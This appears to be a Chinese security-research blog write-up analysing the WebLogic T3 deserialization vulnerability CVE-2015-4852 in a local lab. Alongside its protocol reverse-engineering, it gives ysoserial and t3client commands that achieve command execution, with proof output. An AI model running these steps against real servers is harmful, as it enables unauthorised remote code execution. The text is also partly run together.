前言
commons-collections的反序列化利用链并发布了ysoserial工具[1]。9个月后,@breenmachine对众多知名Java中间件的利用文章[2]使Java反序列化漏洞变得广为人知,Weblogic中首当其冲的就是大家多少都有点耳熟的T3协议反序列化。本篇从CVE-2015-4852入手了解T3协议的构造,作为后续T3反序列化漏洞学习和利用的基础。环境搭建与补丁定位
issues/8改一下Dockerfile,另外就是根据个人需要做适当调整了,比如Weblogic开启的远程调试端口默认为8453(对应IDEA默认的5005)、调整JDK版本等等。CVE-2015-4852
/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh用到了T3协议去停掉Weblogic,在执行前挂上tcpdump -i any -w t3-stop.pcap抓一下数据包。ac ed 00 05的字节作为开头的标识(黑话管它叫做魔术字节),ysoserial也正是通过原生序列化生成的payload,自然能简单粗暴地想到是不是直接替换就行了,那么要替换掉哪些部分呢?能看出先进行了第一次通信,请求和响应都是可读的ASCII字符,后续的的请求中似乎也没有用到响应的内容。A + Serial + B + Serial + ...改成A + Payload。ysoserial生成的CC链就需要看目标环境有没有相应依赖,快速但不准确的方法是直接找有没有Jar包。# find /u01/ -name "*commons*collections*.jar"
/u01/app/oracle/middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar• 为了更精确定位则可以采用META-INF等信息判断版本、运行时相应上下文能否调到关键类等等方法。
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > /tmp/poc.ser
python3 t3client.py 127.0.0.1 7001 /tmp/poc.ser
# ls -al /tmp/ | grep 'pwned'
-rw-r----- 1 root root 0 Feb 17 17:18 pwned逆向T3协议头
connectReplyOK:160, Login (weblogic.socket)
readBootstrapMessage:189, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:323, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
dispatch:185, MuxableSocketDiscriminator (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)MuxableSocketT3#dispatch方法根据bootstrapped来判断连接是否经readBootstrapMessage方法初始化过,解析提取的就是上文首次通信时发给服务端的数据。(这是10.3.6.0的位置,12.2.1.3在com.oracle.weblogic.rjvm.jar中weblogic/rjvm/t3/MuxableSocketT3#readIncomingConnectionBootstrapMessage)。
MuxableSocketDiscriminator#dispatch方法根据协议名将请求分配给HTTP、T3等不同处理类,以此实现端口复用。ObjectInputStream#readObject并得到第二次请求时的调用栈:readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)MsgAbbrevInputStream#init调用各个方法解析。先看super.init(chunk, 4),最终前4字节被skip掉:chunkLength,表示包括自己在内的这段Header的字节长度,可以偷懒直接赋0。readHeader方法中存在大量标识数据:cmd字节应该是指代通信类型,可以从weblogic/rjvm/JVMMessage类中的变量名看出: static final byte CMD_UNDEFINED = 0;
static final byte CMD_IDENTIFY_REQUEST = 1;
static final byte CMD_IDENTIFY_RESPONSE = 2;
static final byte CMD_REQUEST_CLOSE = 11;
static final byte CMD_IDENTIFY_REQUEST_CSHARP = 12;
static final byte CMD_IDENTIFY_RESPONSE_CSHARP = 13;
static final byte CMD_NO_ROUTE_IDENTIFY_REQUEST = 9;
static final byte CMD_TRANSLATED_IDENTIFY_RESPONSE = 10;
static final byte CMD_PEER_GONE = 3;
static final byte CMD_ONE_WAY = 4;
static final byte CMD_REQUEST = 5;
static final byte CMD_RESPONSE = 6;
static final byte CMD_ERROR_RESPONSE = 7;
static final byte CMD_INTERNAL = 8;QOS字节的含义,类初始化时被赋为十进制101,所以EXP同样用了这个值。flags字节从后面getFlag方法可以看出用来从二进制位控制hasJVMIDs、hasTX、hasTrace(类比Linux的rwx权限与777)。responseId字节用于标识通信顺序、invokeableId字节用于标识被调用的方法,目前用不到置为初始值-1。abbrevOffset字节顾名思义是abbrev的偏移长度,表示Header结尾处 相距 后面字节流MsgAbbrevs部分的距离,在init方法中会被skip掉,EXP中直接赋0表示没有额外的数据需要跳过。Header部分继续进入到readMsgAbbrevs方法中,会调用InboundMsgAbbrev#read方法:length就是EXP中的countLength,可以看到这个值对应for循环的次数。length2就是EXP中的capacityLength,bubblingAbbrever.getCapacity()拿到的就是第一次请求中的AS,要设置得比它大才会进入readObeject分支。readObject中,msgAbbrevInputStream.read()读到的字节是十进制0时进入无参readObject。但ServerChannelInputStream没有重写无参readObject,所以最终进到父类ObjectInputStream的readObject衔接上CC链。参考链接
[1] http://frohoff.github.io/appseccali-marshalling-pickles/
[2] https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic
[3] https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
[4] https://updates.oracle.com/Orion/AdvancedSearch/process_form
[5] https://www.oracle.com/security-alerts/public-vuln-to-advisory-mapping.html
[6] https://github.com/QAX-A-Team/WeblogicEnvironment
[7] https://hosch3n.github.io/2022/02/15/%E6%94%BB%E5%87%BBJavaRMI%E6%A6%82%E8%BF%B0/#%E6%94%BB%E5%87%BBJRMP%E5%AE%A2%E6%88%B7%E7%AB%AF